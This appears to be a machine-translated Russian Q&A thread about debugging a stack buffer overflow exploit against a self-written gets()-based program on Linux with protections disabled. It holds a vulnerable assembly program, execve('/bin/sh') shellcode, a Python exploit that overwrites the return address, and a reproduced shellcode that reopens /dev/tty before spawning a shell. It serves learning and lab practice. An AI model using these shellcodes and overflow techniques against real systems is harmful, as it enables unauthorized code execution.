Шеллкод для простого: Эксплуатируемая программа с оболочкой завершается непосредственно после execve ( "/bin/sh" )
Я играл с переполнением буфера на Linux (amd64) и пытался использовать простую программу, но это не удалось. Я отключил функции безопасности (рандомизация размещения адресного пространства с помощью sysctl -w kernel.randomize_va_space = 0 и nx бит в BIOS). Он перескакивает в стек и выполняет шеллкод, но не запускает оболочку. Сценарий execve преуспевает, но потом он просто заканчивается. Любая идея, что неправильно? Запуск автономного файла shellcode работает отлично.
Бонусный вопрос: зачем мне нужно устанавливать rax в ноль перед вызовом printf? (См. Комментарий в коде)
Уязвимый файл buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Скомпилировано с помощью
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
Начнем с:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Отладка с помощью gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
Ответы
Ответ 1
У меня сейчас такая же проблема с Ubuntu 9.10 в VM.
Отключено все измерения безопасности ОС и простые эксплоиты, такие как "выход из программы и установка кода выхода на 42", работают, но при попытке открыть оболочку программа просто завершается.
Вывод gdb идентичен:
(gdb) run < exploit.0xbffff3b8
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8
Enter password: Sorry. Wrong password.
Executing new program: /bin/bash
Program exited normally.
(gdb)
Вещь, мне нужно, чтобы она работала в ок. 16 часов для презентации: -D
Обновление:
Я нашел это аккуратное исследование: www.shell-storm.org/papers/files/539.pdf
На странице 16 говорится:
"Если мы попытаемся выполнить оболочку, она немедленно прекратится в этой конфигурации"
В других примерах, которые не используют gets(), они очень хорошо порождают оболочку. К сожалению, они не дают подсказки о том, почему это не работает.: (
Следующее обновление:
Кажется, это связано с stdin. Оболочка не может правильно использовать ту, которую она получает от исходного процесса. Я попытался использовать минимальную оболочку, я нашел исходный код для (evilsh). Он разбился в точке, где он пытался прочитать ввод. Я предполагаю, что bash/dash проверяет это и просто молча выходит, когда что-то не так с stdin.
Хорошо, пожалуйста, не убивай меня за то, что я здесь разговаривал, но...
Я нашел решение!
По какой-то причине необходимо возобновить ввод. Я нашел рабочий шеллкод здесь:
http://www.milw0rm.com/shellcode/2040
Я не вижу быстрого, но я могу запускать программы и т.д., используя открытую оболочку.
Ответ 2
Ссылка, предоставленная Zenoc, мертва, но все еще может быть найдена в машине Wayback. Для удобства я воспроизвел его ниже. Мне нужно было включить add $0x10,%esp
вверху, чтобы дать мне больше пространства стека, так как все push
es в коде были в буфере, где хранился мой шеллкод. Если вы хотите включить это в шелл-код, просто добавьте "\ x83\xc4\x10" к началу. Шелковой код составляет 55 байтов без моего добавления, а 58 с.
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <[email protected]>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov $0x6,%al
* 8049386: cd 80 int $0x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push $0x7974742f
* 804938e: 68 2f 64 65 76 push $0x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov $0x2712,%cx
* 804939b: b0 05 mov $0x5,%al
* 804939d: cd 80 int $0x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push $0x68732f2f
* 80493a7: 68 2f 62 69 6e push $0x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov $0xb,%al
* 80493b5: cd 80 int $0x80
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
Примечание. Я не мог добавить это как отредактировать ответ Zenoc, потому что очередь редактирования заполнена.
Если у вас возникли проблемы с определением адреса вашего шеллкода из-за различий в стеках в терминале и gdb
, посмотрите на мой ответ здесь.